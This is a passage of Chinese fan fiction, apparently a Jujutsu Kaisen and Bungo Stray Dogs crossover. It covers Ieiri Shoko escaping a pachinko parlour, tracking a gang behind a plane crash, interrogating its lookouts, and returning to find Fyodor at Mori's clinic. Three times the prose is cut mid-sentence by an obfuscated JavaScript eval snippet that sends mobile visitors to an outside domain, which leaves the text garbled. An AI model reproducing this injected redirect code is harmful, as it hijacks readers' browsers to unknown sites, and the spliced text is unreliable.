胳膊被攥得发疼,身体使不上力气,脑袋也因为店里燥热的空气而显得沉重无比。 家入硝子头痛欲裂,她长吸一口气,正想要再次甩开男人的手时,一道清透无比的声音传进耳朵里。 “好了,没有看到这位女士不舒服吗?” 硝子沉闷发痛的脑袋在那瞬间清醒了许多。 “你——!” 肩上的手被人拿开,男人显得有些气急败坏。 硝子回头看去,说话的是一位身形有些瘦弱的青年,他侧对着硝子,看不清脸上的表情,侧脸被一顶白色的毛绒帽子所遮盖,所以具体的面容也看不清楚。 硝子并没看到他的样貌,他身上的穿着也并不华丽,可就是给人一种雍容华贵的感觉。 也许这种感觉更多的来自对他声音的初印象。 青年制止了男人的动作,让硝子得以平安走出店门。 “你,中大奖了哦。” 为了制止男人继续发怒,白帽子青年指向男人来时的座位。 只见那上面绚烂多彩的图像不知什么时候已经占据了整个屏幕,花里胡哨的特效和激昂的音乐充斥着那一小片空间,周围人或是嫉妒或是贪婪地看着那台机器,像是在憎恨为什么中奖的不是自己。 男人的双眼瞬间放出光亮,他的脸更红了,血液顺着脖颈处的血管不断鼓起,像一条条拉长身躯、不断蛹动着的肉虫。 他飞快地奔回座位,佝偻着身躯脖颈前倾,坐在那一小片对他来说十分拥挤的座位上,外界的一切好像又与他全然无关了。 外面还在下雨,只是比起之前小了许多,朦朦细雨中,硝子重新撑起伞。 在门即将关上之际,她回头看了一眼。 视线中只剩下青年白帽子下黑色发丝在空气中划过的轨迹,以及那双在灯光下宛如宝石般的紫红色眼瞳,随后,喧闹嘈杂的声音被门彻底隔绝。 她仿佛从一个世界跨越到了另一个世界,淅淅沥沥的雨声重新占据主位,不断透过雨伞的布面,击打着硝子的耳膜。 外面的空气清新又凉爽,刚刚还是有些昏沉的脑袋现在清醒了几分。 硝子抬起脚,正要回到诊所的时候,身后不远处传来了一道惊讶的声音。 “五条小姐,你怎么会在这里?” 硝子撑着伞回过头,看到了细雨中正抱着几个箱子、身影略显狼狈的森鸥外,以及太宰。 8.病人·孩子·新闻 森鸥外似乎对家入硝子出现在这里感到有些意外。 不过这也难怪,至少从硝子的外表性格和平常的行事作风来看,感觉她是这辈子都和这种地方扯不上关系的那种人。 他看了看被绚丽的广告传单贴满的小钢珠门店,又看了看硝子,又看看小钢珠店,之后露出一副若有所思的表情。 家入硝子隐约可以在他的眼中看到几分了然和不赞同。 她顿时有些茫然,这人想到什么了啊……为什么看起来对她一副误解很深的样子? 想了半天没想明白,还是森鸥外率先开口打破了沉默。 “不过正好,运送药品和医疗设备的货车在半路上抛锚了,等了好久雨才终于小了点——你还带着伞,不如来帮我们遮一下雨吧?” 森鸥外说着,把手中的三个纸箱往上抬了抬,那里面看起来应该装的是一些医疗器具,他抱起来有些吃力的样子,箱子外面有严密的防水保护层,倒也不怕被雨淋湿。 太宰治怀中则只抱了两个小箱子,也许是一些药物,看上去相对较轻一些,上面也做有防水措施。 家入硝子想了想,打着伞走到太宰旁边,一手从他怀里揽过上面那个箱子,一手举着伞,撑到两人头顶。 森鸥外:“……?” 仍旧被稀稀拉拉的雨点打到身上的森鸥外,在雨幕中沉默了几秒钟。 家入硝子难得解释了一下。 她抬起下巴,冲着太宰点了点,“他,孩子。” 又冲着自己点了点,“我,病人。” 最后举了举手里的伞,“只能挡两个人。” 森鸥外这才注意到她脸上的潮红,本以为那是因为小钢珠的缘故,没想到竟然真的生病了。 “生病了还是不要来这种地方比较好哦?人多吵闹,空气也不好,很容易加重病情的。而且你不是——” 他的话停在这里,没有继续说下去。 森鸥外难得发挥了一下自己身为上司的体贴,没想到却收获了自己员工奇怪的眼神。 家入硝子第一个感到震惊的是,身为港口黑手党的地下医生,森先生居然也会讲这种体贴话,第二震惊的是,她好像明白对方到底误会什么了。 想起最初见面时,太宰介绍她时所说的“没有正式工作”“身无分文”和“无依无靠”,再联想到自己刚从小钢珠店走出来,硝子深深地沉默了。 这误会可有点大了,但碍于森鸥外并不知道她的真实身份,所以硝子也没办法解释自己来这里到底在做什么。 于是她只能扬起一个尴尬而又不失礼貌的微笑,点头默认了他的话,但举在自己和太宰头顶的伞仍纹丝不动。 森鸥外抬头看看天,又低头看看地,转头看了看硝子又看了看太宰,最后在两人一致的目光中放弃了什么一般叹了口气,认命地抬脚继续淋着雨往诊所走。 还能怎么办呢,作为三人中年龄最大的成年人,总不能和后辈们去抢伞吧? 那多少有点不太体面了。 森鸥外的背影在视野中逐渐远去,太宰抬头看了眼硝子,没说什么,只是抱着怀中仅剩的一个小箱子,也往那边走去。 家入硝子现在也没什么心情和人闲聊,就算是得罪老板也无所谓了,现任上司的窘境只是更加坚定了硝子想要离职的心。 进货也就算了,连运货都要自己亲力亲为,还要奴役小孩,堂堂黑手党缺人缺到这种程度,再这么下去,硝子感觉自己可能连第一个月的工资都要被黑心老板拖延。 这个工作不做也罢。 至于身份的事,她已经想到了解决办法,只需要系统配合一下就可以。 不过这件事可以之后再考虑,她现在更关心的,是刚刚在店里面获得到的信息。 硝子一边给自己和太宰打着伞,一边用眼神示意系统把刚刚搜集到的新闻放给她看。 系统显示了一下统计的具体数字,从昨晚飞机失事开始到刚刚为止,横滨市出现的事故总共有百余起,其中有具体伤亡的,则有三十起。 眼前的新闻每隔五秒切换一次,两分多钟后,硝子已经把那些事故大致都了解了一遍。 看到里面没有出现她预想到的画面,硝子松了口气。 还好,看来这些人还没有疯到那种程度。 硝子刚想示意系统把全息显示的信息关掉,身旁的太宰却忽然停住了。 她看到太宰停下脚步,扭头看向自己的肩膀,突然开口问她:“……那个,是什么?” 家入硝子吓了一跳,墨镜后的眼睛下意识睁大,她感到头皮一阵发麻。 毕竟太宰手指所指的方向,正是系统现在所在的位置。 “……” 他居然看得到系统? 硝子一时间沉默着没有说话。 系统也被吓了一跳—— 不过是因为太宰的手差点戳到它的眼前。 还好他现在才十四岁,个子还没开始怎么长,手也相对没有那么长,硝子的肩膀对于他来说,还是有些难以企及的。 不过它也被太宰这一下吓得差点数据紊乱。 系统立马收起塞满报错信息的窗口,动作利索地像是遇到了什么天敌一般,屁滚尿流地缩到硝子的背后,整只机身就只露出一双黑色的小眼睛,暗戳戳地在硝子背后观察着局势。 它在考虑要不要撺掇硝子撒个谎糊来弄一下太宰,虽然成功希望十分渺茫。 然而一人一统都没有想到,太宰的手指在这时居然微微偏移了一下角度。 他仍旧指着硝子的身后,语气却平静而肯定:“那是你吧。” 系统和家入硝子一齐回过头,这才发现对面二楼的店外那台正在循环播报新闻的荧幕上,出现了昨晚飞机事故的相关报告。 而硝子的身影则在那里面隐藏于黑暗之中,和灯光下的那些人出现在同一幅画面中时,着实显得有些不起眼。 能够在这种距离和视野条件中看到她,这小子绝对算的上是观察力绝佳了。 所以不是因为看到了系统啊…… 家入硝子和系统同时出了口气,但很快,硝子就又意识到了什么。 她被救上来以后已经在尽可能的躲避摄像头了,没想到居然还是被拍了进去。 既然太宰能从新闻中发现她,那就意味着其他人也很有可能已经知道了硝子的存在,从昨晚事故发生后直到现在,时间已经过去将近20个小时——已经足够长了,如果是那些刻意在寻找她的人,根本用不着花这么长的时间。 她的相貌很有可能已经暴露。 但接下来还有更糟糕的—— 荧幕重播的画面突然一转,随着字幕的滚动出现,画面也转为了现场播报。 【下面插播一条紧急新闻:据xx新闻社报道,在横滨市xx路口发生了一起爆炸事故,目前一死一伤。事故发生于当日下午六点五十分,出事车辆疑似被人安放定时炸弹……死者名为八桥留美,女,年龄29岁……为进行调查,xx路口附近已进行紧急封锁,相关内容还请关注后续报道,请市民们出行时注意绕行。】 随着新闻的播报,家入硝子在画面上看到了一张有些眼熟的脸—— 她昨天曾在飞机上看到过这个人,当时她就坐在自己的右手边,而第二次看到,则是在进行获救人员登记的时候。 她的心里突然产生了一种惴惴不安的感觉,这种突如其来的感觉使得硝子握紧了手中的伞柄。 新闻的内容又转回了之前重播时的画面,但硝子却无心再看下去。 现在有好消息也有坏消息。 好消息是,这条新闻确实证实了对方还不知道她的真实信息和样貌,这和硝子最初的猜测一样,因此他们才会做出让整个飞机失事的计划。 坏消息是,她今天早上的预感也被同时证实了—— 那群人是真的已经丧心病狂到要杀掉飞机事故中的所有幸存者。 更糟糕的是,硝子的脸还是被拍到了,但她当时多留了个心眼,没有进行幸存者登记。 她回过头,带着太宰快步往回走。 硝子只能期望那些人还没发现她的踪迹,同时期望打捞队打捞的再慢一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314915|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她当时为了制造出事故死的假象,把钱包整个丢进了海里,尽可能消减对方的注意力,而且为了防止被看出异样,她甚至连里面的钱也没有取走,现在看来,这反而可能会增加她被找到的可能性—— 硝子的钱包里装有身份证件,如果被打捞队打捞上来,很有可能会像那位惨遭牵连的八桥女士一样被直接锁定。 这种被动的感觉,让硝子极度不爽。 她第一次对那个幕后人产生了一种想要找到他并且将之消灭掉的欲望。 只是为了杀掉自己,居然能让一架承载数百人的大型客机坠毁,之后竟然连无辜的幸存者也要一一除掉,他们的内心可以说已经没有任何的人性可言了。 而无论他们最后是为了哪种利益,硝子都无法原谅这种行为。 陌生的情感在她平静已久的内心里掀起波澜,随后在体内横冲直撞,隐藏在黑色镜片下的眼睛慢慢染上血色,高温中的身体也开始轻微地发生无意识的痉挛。 家入硝子猛地停下脚。 她把伞和纸箱一股脑全塞到少年的怀里,不等他开口说话,就揉了揉他的头,率先说道:“你先一个人回去,告诉森先生那里可能有危险,让他多叫点人到诊所保护你们。” 她把太宰往前推了推,在雨幕中,硝子突然对上了太宰的视线。 她怔了一下。 细雨中,不远处的乌云散去了一些,透过天空照射到地面上的光线,让硝子发现了一个错误—— 原来少年的瞳色并非她一直所以为的那种深不见底的漆黑,只是由于当时光线太暗才产生了错觉,后来又因为对他的印象再没有去仔细确认过。 当伞下的太宰抬起头,露出那双在光线中映射出漂亮的琉璃色彩的双眸时,硝子才发现,他的眼睛原来是深邃而又剔透的鸢色,就像两颗极为漂亮的玻璃珠。 “快去。” 硝子又催促了一声,少年在伞下深深看了她一眼,随后没再犹豫,转身便离开了。 家入硝子稍稍松了口气,如果是她一个人还好,要是再带上一个小孩,硝子还真不一定能确保自己获胜。 她侧过头看向对面两个店面中间的那条小巷道,皱了皱眉头。 啧,又是在这种阴暗狭小深不见光的地方,他们是属老鼠的吗? 在太宰的身影消失在街角的时候,硝子也没有再多犹豫。 她抬脚往路对面的那条深巷中走去,在系统显示出的扫描图像里,象征着硝子的绿色箭头,在不断朝着其中显示出的四个小红点靠近。 图像的另一侧,是四个呈“田”字顺序排放的个人信息,在他们风格迥异的照片下面,则罗列着每个人的基础信息。 这是系统刚刚进行的扫描,在和硝子出来以后,系统每隔几分钟,就会将周围的信息扫描一遍,而这些人,是系统在最近几次的扫描中发现的,并且依照数据库进行了信息检索。 一次、两次也就算了,但在系统扫描的这几次里,他们每次总会出现在距离硝子两百米的范围内。 对方的目标已经很显然了。 硝子不知道他们为什么没有动手,但既然已经被找上门来,也没有必要再墨迹周旋。 最重要的是,他们看上去似乎和这次的事件关联颇深。 在信息显示中,四个人都来自同一个地下组织,所在的组织名叫血字会,主要以经营地下赌场和贩毒为主,曾作为港口黑手党的附属组织存在,头目的名字叫鬼头菜月。 这个组织的领导者……是个女人? 家入硝子摇了摇头,她脚下不停,继续往后看。 传闻中这人嗜血暴虐,经常以折磨人为乐,遇到欠债不还的,还会把人折磨到半生不死才肯罢休,经过她手的人一般不死也要脱层皮,而且之后多半都会遭遇不测,因为各种意外事故死亡。 意外事故啊…… 看来这人有很大概率就是这次飞机事件的背后主导者了,也是那个不惜杀掉无辜幸存者也要除掉硝子的人。 巧了么不是。 她也有话要问。 9.逼供·异能·坦白 雨逐渐停下的时候,天色也已渐渐变暗。 小巷中传来一阵拳肉相撞的声音,但只一会儿功夫,这声音就消失不见了,取而代之的,是一道毫不掩饰的痛呼: “痛痛痛痛痛,你他妈的给老子松手……唉哟疼疼疼,姐姐诶真的很疼啊……别别别,别拧了,再拧胳膊要断了!” 家入硝子制住身下的人,像是听不到对方的求饶般,将他的胳膊用力反压在背后,另一只手推了推鼻梁上的墨镜。 “我现在心情很不好,最烦听到有人在我面前自称老子。” “好好好,老子——不,是我,我,我改口总行了吧!” 在他的周围,还有一个面朝大地睡得很安详的人,不远处的垃圾桶里也倒插着一个。 距离硝子出门已经过去近半个小时,系统给她的那颗止痛药终于开始发挥作用,现在硝子感觉已经没那么难受了。 她手上继续使劲,身下传来少年哎哎哟哟的痛呼声。 一个外表看上去十六七岁的少年人,他们就派这种人来监视自己? 难怪也只能做港口黑手党的附庸,比起之前那个想要杀她的黑衣男来说,差的也太多了。 他的挣扎在硝子眼中宛如一只瘦弱的丧犬在细细挣扎,根本起不到什么作用。 事实上这些人简直像是一点专业训练都没有做过,大概是那种没有固定经济来源、常年混迹于市井街道之中的最常见的混混,至于体力更是差劲,几个人加在一起在她手中都没坚持过三分钟。 亏硝子之前还专门多花了几分钟绕到他们的背后,本想着是以少打多,准备打个出其不意,却没想到对方刚和她照面,一人挨了她一拳一脚以后就想转身逃跑。 但硝子哪可能这么轻易就放过他们,虽然最终结果还是跑了一个,不过也无所谓了,她的目的本来也不是打架。 “先回答我的问题,你们组织的头目在哪儿?为什么派你们来监视我?她的目的究竟是什么?” “哎呀你他妈就不能一个一个的问吗?老子一下哪能记住那么多——别别,别使劲了,是我、我错了……不过我刚刚也说了啊,我是真的什么都不知道!我们几个都是前些天才加入这个组织的,本来也还没混出什么名堂,都是最底层的一个臭打杂的,怎么可能会知道老板的动向?” “还有呢?” 少年人小幅度挣扎了一下,在剧痛下又再次变得老实。他努力回忆了一番: “还有什么……哦,是说监视你的活儿,也是他们昨天晚上刚交给我们的,说是完成这个任务后就让我们晋升为组织的正式成员。你是不知道啊,这组织是真他妈的有钱,要是能成为组织正式成员,那生活就算是有保障了,不仅包吃包住,还有每个月的固定工资可以拿,最重要的是还有妞泡,要是之后再立个功,嘿嘿嘿……疼疼疼,别拧了别拧了,我继续说就是了——” 少年说到这里停顿了一下,他想挠挠头,但发现自己两只手都被困在身后,只能叹了口气继续道: “不过也没什么可说的了,我就是一个底层人员,连正式成员都算不上,怎么可能知道BOSS这么干的目的是什么?” 他说到这里,声音逐渐低沉下去,像是要说出一个极为可怕的东西,害怕被第三个人听到一般。 “不过,我最近倒是听人说……听人说,他们最近好像结识了一个非常强大的异能力者,而且还是个外国人,说是准备暗杀港口黑手党的那个老首领,然后把那个庞大的组织吞并,成立一个新的地下组织!” 他说完后打了个寒颤,像是不敢相信从自己嘴里说出的话一般,连忙又摇摇头,开始撇清自己的关系:“我就是听人这么一说,谁知道是真是假,而且异能力者什么的也太扯了,虽然是听说过类似的都市传闻,但我长这么大一次也没亲眼见过……没错,肯定是假的!” 即使是他这种人,也知道他们这个组织和港口黑手党之间的巨大差距,那就像是一个不可轻易跨越的鸿沟一样横亘在两个组织之间,至于吞并那种庞然大物? 简直像是痴人说梦。 仅靠一个异能力者就消灭一个组织什么的,他可听都没听说过啊! 家入硝子听完他的话后若有所思。 她不认为这人是在说谎,至少从他的样子和说话时的气息和心跳来看,不像是在说谎。 所以,那个幕后之人的目的直到现在为止,仍是一个谜。 “……所以异能力者到底是什么?” 这种东西从她来到这个世界到现在为止,一次都没听说过,就连系统之前也没有提起过。 家入硝子回头看了一眼系统,就见它状似心虚地往后挪了挪身体,低着头没有说话。 “什么啊,你居然连异能力者都没有听说过吗?” 好像是终于有一点能比过这个不由分说就痛殴他的狂暴女人,少年人的话语间不免有些得意和鄙夷。 “是一种传说中超自然的能力体系哦。” 他有些骄傲地扬起头,就好像他自己也拥有这样的能力一样,全然忘了之前对异能力者的惊恐和怀疑。 “据说,拥有异能力的人,轻易便可上天入地,摘星揽月,更有甚者,能独自一人消灭一个庞大的组织,而且是轻而易举的那种。怎么样,害怕了吧?如果知道自己的成员出了事,他们肯定不会放过你的,甚至很有可能会派那个异能力者来消灭你,知道怕了的话就快点放了老子!” 硝子没说话,只是在少年人无比期待的表情下,按住他脖颈上的动脉,然后用力。 他不由面露惊恐:“你要干嘛!你想杀了我吗?!” 家入硝子没有说话,只是指尖继续用力。 似是有些不甘心,男人在最后清醒的几秒钟目眦欲裂,他竭力问道:“你究竟是谁……” 硝子挑了挑眉,感到一阵意外。 明明是来监视她的,却连她叫什么都不知道? 她想了想,还是好心回答了对方:“我……恩,老子名叫五条悟,你记好了。” 少年人像是要把这个名字刻在心中一样,下一秒,他满脸不甘地闭上眼。 狭窄的巷道里再也没有了其他声音,气氛霎时有些安静。 硝子站起身拍拍手,随后瞥向已经在自己肩上缩成一团的系统:“好了。现在,你有什么想坦白的吗?” “……” * 硝子走在回诊所的路上,系统则蔫巴巴地飞在硝子身后。 自从它和宿主解释了这个世界运作的能力体系以后,对方就陷入了长久的沉默,这种沉默就像一块巨石一般压在系统的心上。 它看着硝子头也不回的身影,只能默默地继续跟了上去。 作为拥有本源世界数据的系统,自然相当清楚这个世界的危险性,而且宿主又是个没有能力的普通人,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331921|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为了好不容易绑定的宿主不一来打退堂鼓,系统就自作主张隐瞒了一些信息,没想到居然在这种时候暴露了。 系统9958叹了口气。 虽然宿主之前嘴上总喊着要摆烂,但在真正面临危险的时候,还是显得十分冷静,也没有那么消极怠工,所以系统一开始还是有些开心的。 但现在它忽然有些不确定了。 一个身处异能世界的普通人,再加上身份的特殊性,即使宿主在这之后拒绝完成任务,系统觉得自己也不会太过惊讶。 但硝子接下来的话,却让它又燃起一丝希望。 “所以你是说,要我拯救这个因为异能的特异点而面临崩坏的世界?” “是的……” 地面上一小滩水洼被硝子踩过,水面的平静被打破,泛起一圈圈细小的波纹。 硝子本来以为的拯救世界,无非是想办法阻止一些大型战争的爆发,或是阻止一些人的毁灭计划,就像故事中经常要有的那种反派,但她却没想到,真实的任务与之相去甚远,甚至已经完全可以说是另一个级别的东西了。 虽说她本来也没有什么必须要完成这项任务的责任心,但这前后之间的差距相差也太大了些? 据系统所说,异能的特异点,就是由于异能之间的相互作用而产生的一种奇异的现象,也被称为奇点,而他们现在所在的世界,不过是本源世界因为某些特殊性而产生出的无数个小世界之一。 其原理有些类似于宇宙大爆炸。 因为异能中的特异点的存在,再加上战争的不断爆发,本源世界因此不堪重负,在日益膨胀和无限增大的特异点产生的能量中,粉碎成了无数平行小世界。 但这些平行世界并非这样就安全了,相反,因为与本源世界具有相同的能量体系,所以这些平行世界最终也都会步入本源世界的后尘—— 也就是说,所有的世界,最终都只会走向毁灭的结局,无一幸免,只是时间早晚而已。 所以系统才会出现,并且需要找人对这个即将走向终结的世界进行人为干预,改变其最终命运。 但在硝子听来,这实在有些矛盾。 这些世界似乎是因为异能的存在而存在,但最后却也要因为异能的存在而走向灭亡。 那还折腾个什么劲。 硝子叹了口气,问系统:“那这个世界呢?” “什么?” 系统一时间没反应过来,过了几秒钟才回答,“……还有一年。” 家入硝子:“……” 这么快? 也就是说,如果从现在开始她什么都不做的话,大概一年时间,这个世界就会自动毁灭咯? 系统说:“也许是因为这个世界的偏差值比较高的缘故吧……我在刚来到这个世界的时候就已经检测过了,时间上应该没有太大的误差才对。” 家入硝子:“……” 说实话,硝子是真的有点想摆了。 那还干个锤子? 家入硝子面无表情的想。 她现在唯一能想到的办法,就是那两个人渣中的之一曾经想过的办法—— 杀掉所有从源头上造成这一结果的人。 也就是说,杀掉世界上的所有异能者。 这样,世界就不会因为这些人的异能造成的特异点而毁灭。 这样,至少会有一部分的人可以正常活着。 10.笨蛋·黑夜·敌袭 系统听到她的设想后,完全惊呆住了。 它僵硬的机械金属头部嘎吱作响地转向硝子,像是从她嘴里听到了什么不可思议的话。 “你……” 它像是不知道该说什么什么好,又像是被硝子这个恐怖的想法彻底吓住了,这从它对硝子称呼的细微改变上都能看得出来。 它“你”了半天都没能说出后面的话来,家入硝子在它的对比下反倒是显得很平静。 她双手插在口袋里,一边悠然地往回走,一边应着系统没说完的话,就像刚刚那些话不是她说出来的一样:“我什么?” 系统犹豫了好久,才终于把话说出来,它带着几分小心翼翼地问:“您该不会……是真的想这么干吧?” 家入硝子既没有肯定也没有否定,反倒问系统:“你觉得呢?” 系统哪里猜得到硝子在想什么,它只能希望她只是随便说说,于是系统语气带上了几分谄媚,开始疯狂地拍硝子的彩虹屁: “您是我见过最聪慧最善良的宿主了,身为医生,时刻把救死扶伤当成己任,在您的妙手回春之下,不知道多少人都获得了他们的第二次生命,可以说您就是当今的德本,未来的道三,我相信,世界会在您的手下再次焕发出新的生机的!所以——” 系统哭丧着音调,说出最关键的一句话:“您不会做出那种事情的……对吗?” “你这话说的,好像你在遇到我之前还见过其他人一样。” 系统知道自己马屁拍过了,默默闭上了嘴。 家入硝子不再说话,系统的心也同时在沉默中开始一点一点地往下坠。 它惴惴不安地一边等待着硝子的肯定回答,一边偷偷往身边瞄,下一刻,却看到硝子的嘴角不知道什么时候已经翘起。 她在笑。 宿主居然在笑。 系统愣住了,它呆呆地问硝子:“您……在笑什么?” 知道系统已经发现了,家入硝子索性笑出了声。 她墨镜后的眼睛轻轻弯着,像是回想起了什么一样,好一会儿后才恢复平时的表情对系统摇了摇头:“只是想起了一个笨蛋而已。” 硝子说着,终于大发慈悲地把系统的心从她心血来潮的恶作剧中解放出来。 “放心吧,我不会那么做的。” 那样的人有一个就够受得了,她可没打算再当一个那样的笨蛋。 系统终于恢复了正常,它稳了稳数据,发出机械的声音:“……那就好。” 沉默了一会儿,它又接着说,语气中带着几分抱怨和不满,“麻烦请您以后不要再和我开这种玩笑了。” 虽然不知道宿主的灵感到底源自哪里,但这样下去对它的CPU真的很不友好! “好吧。” 硝子耸了耸肩,一副无所谓的表情。 系统看着硝子,感觉这会儿的她像是回到了之前的某种时刻一样,看起来不再是那个被工作和压力压迫到无法拥有正常睡眠和生活的女人,反而像是在某一瞬间变成了少女模样,恶作剧成功之后的表情中,只有年少时常有的青春活力与狡黠。 “不过,你忘了吗,”家入硝子难得善意地提醒系统,“在现在这个世界里,我只是个没有任何能力的普通人而已。” 虽然硝子的体术在那两人的磨练下还算不错,但按照这个世界的力量体系来看,现在的硝子也不过算是能排在普通人之上的那种,但如果是那种拥有特殊能力的异能者…… 还是算了吧。 就是面前随便来上一个,她可能都对付不了,更别说是全世界的所有异能者了,系统简直是在杞人忧天。 系统沉默了几秒,还没来得及说话,就听硝子突然问道: “你不会真的觉得,这样的我,能拯救这个世界吧?” 话题回到严肃的现实面前,一人一统间的气氛再次有些僵持。 在硝子的轻飘飘的话语中,系统机械的话音落下。 “可以。” …… 硝子是不知道系统的自信到底是从哪里来的,但看它这么一副信誓旦旦的样子,倒让对这件事从一开始就很不看好的硝子有些哑然。 毕竟她是真的这么觉得,而且她本来就和这个世界没有什么牵扯,无法融入的异类感只是让她和这个世界的隔阂更深而已。 拯救世界什么的…… 比起做一个拯救者,家入硝子反倒觉得自己更适合做一个旁观者。 本来也是,她从来就无法插手任何事情,也无法改变任何结局,更无法拯救任何人。 系统说她救死扶伤,妙手回春,但硝子从一开始就把自己看得很清楚—— 她从来都不是。 乌云渐渐遮住悬在半空的明月,家入硝子在逐渐亮起的路灯中,缓步走到诊所所在的那条巷口。 看着巷子尽头那间破旧的小小医馆从门缝中漏出的些微亮光,硝子心头纷乱的思绪不自觉消失了一些。 她无声地叹息了一下,向着那边走去。 安静的巷道中出现哒哒的缓慢脚步声,但这阵脚步声很快就变得急促起来。 像是发现了黑暗中的某些异常,硝子用最快的速度赶到诊所门口,她一边观察着什么,一边让系统扫描一下周围情况。 在系统的扫描下,硝子顺着那上面显示出来的点一一望去。 果然。 像是刚经历过一场争斗一般,在她的视线中,一些黑衣人以各种奇形怪状的方式倒在地上,刚刚闻着还不甚明显的血腥味,这会儿一股气地冲进硝子的鼻腔中,让她不由皱起了眉。 她扫了一眼半掩的门,想了一会儿,还是先来到了那些黑衣人的附近。 她的食指探上其中一人的鼻息,又依次对其他人都做了检查,然后松了口气。 都还活着。 黑暗中,这些人的面孔让硝子感到有些熟悉,她仔细辨认了一番,才发现其中一人正是早上送来伤者的那个黑衣人领头。 这些都是港口黑手党的人。 看起来应该是太宰回来后叫的,但是显然,来者的实力比起他们来更上一层。 会是异能者吗? 那个黑衣人领头者像是察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347134|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到了什么,他吃力地睁开眼,早上还戴在脸上的墨镜此刻早已不知去向何方,他的脸上也再也没有那种紧绷的威严。 看到来人是硝子后,他的胸腔剧烈起伏了一下。 硝子知道自己并不被他所信任,但基于目前的身份和尚存的责任感,她还是先给这些人做了紧急处理。 所以硝子只是扫了他一眼,就想要收回目光。 但那个黑衣人还是努力伸出了手。 他狼狈地在硝子的目光下指了指诊所的方向,用嘶哑的嗓音艰难地说:“森……森先生和太宰先生,还在里面……” 硝子再次看向那扇半掩着的门,这时她又听到黑衣人说出了一句让她感到十分意外的话: “他们的目标是……太宰先生!” * 诊所内小小的办公室里,如同三方鼎立般地坐着三个男人—— 准确地说,应该是两个男人与一位少年。 他们呈三角形坐在房间内的各处,各自做着手头的事情,如果忽略房间里凝滞到几乎无法流动的空气,这画面看起来就像是简单而又普通的办公室日常。 然而此刻并不是。 由于电脑出现的故障还没修好,森鸥外只能手动记录着各项数据,包括今天早上的报告详情和下午的采购和仓库存货。 无数的文字和数字搞的他头痛不已,男人揉了揉已经足够凌乱的头发,又揉了揉自己的眉心,在周围的死寂中无奈地抬起头,看向房间里剩下两个角落里的两个人。 少年坐在这一个月内他常坐的那把木椅上,鸢色的双眸凑近手中的量杯,透过透明的杯壁仔细观察着里面的不知名液体。 他好像压根不在意周围的一切,细黑的蓬发在白色绷带间乖巧地垂落,只全身心地关注着自己手中的东西,似乎那里有着什么全世界最稀有的存在一般,周围的一切都无法与之相比。 森鸥外叹了口气,又转头看向了另一边。 在房间另一侧的沙发上,则坐着一位外表看起来有些孱弱苍白的瘦削青年,他头顶戴着在这个国家和这种季节并不常见的白色毛绒帽,手中则捧着刚才从书架中随意取下的一本医书翻看。 他低垂着眉眼,此刻看起来十分安静恬淡,如果不是刚刚亲眼看到他仅带着一人就闯进了这里的重重包围,森鸥外可能真的会相信他外表下所表现出来的柔弱。 青年用那双葡萄酒般醇正的酒红色眼瞳缓慢地依次扫过书本上的文字,随后像是察觉到了什么,他在森鸥外的注视下渐渐抬起头,嘴角牵起一个弧度,用清柔的嗓音缓缓说道: “啊,好像还没有自我介绍……是我疏忽了,抱歉。” 他这话显然是说给森鸥外听的,目光只看着房间中的森鸥外一人,就好像房间中的另外一个人不需要知道或者干脆不存在一般。 虽然是在说着类似抱歉的话,他的神情却还是一如既往的平静与温和,这让森鸥外有种好像对方才是长辈一样的奇怪错觉。 青年笑了笑,对着沉默中的森鸥外,缓缓说道: “你好,我叫费奥多尔。” 11.异常·小丑·意外 借着暗黄的路灯,家入硝子勉强将这些人的伤口先做了简单的止血处理。 她起身回头,再次看向那条细小的有着亮光的门缝,回忆着他们刚刚所透露出的情报。 据这些人所说,来到这里的敌对势力只有两个人,但对方仅用了一人就在短短三秒让他们这边接近十几个人全部丧失了行动能力,而与此同时,来不及反应的他们甚至连那个一动不动的男人的衣角都没碰到。 对方显然是异能力者。 家入硝子在心里叹了口气。 才刚刚知晓这种存在,就已经要对上了吗……不过既然他们的目标是太宰,那就应该不是一直盯着她的那拨人。 硝子有点可惜,她还以为能碰上知道更多幕后之人情报的人,看来事情并没有她想的那么简单。 不过这么看来,这个名叫太宰治的少年,看上去也像是处在某种旋涡的中心,随意就能搅动起一场风暴的人,居然让敌对势力不惜出动异能者来对付一个孩子,从某种意义上来说,他还真是了不得啊。 现在的时间还没有多到让硝子随意胡思乱想,她先是让黑衣男联系组织多叫了点援兵,然后想了想,起身准备进去诊所里看看情况。 但她也没有傻到就这么径直走进去。 仗着这里的人都看不到系统,在刚刚给那些人处理伤口的时候,硝子就已经让系统从门缝里进去先看看情况了。 此刻系统已经从诊所里出来,向硝子说明了里面的情况。 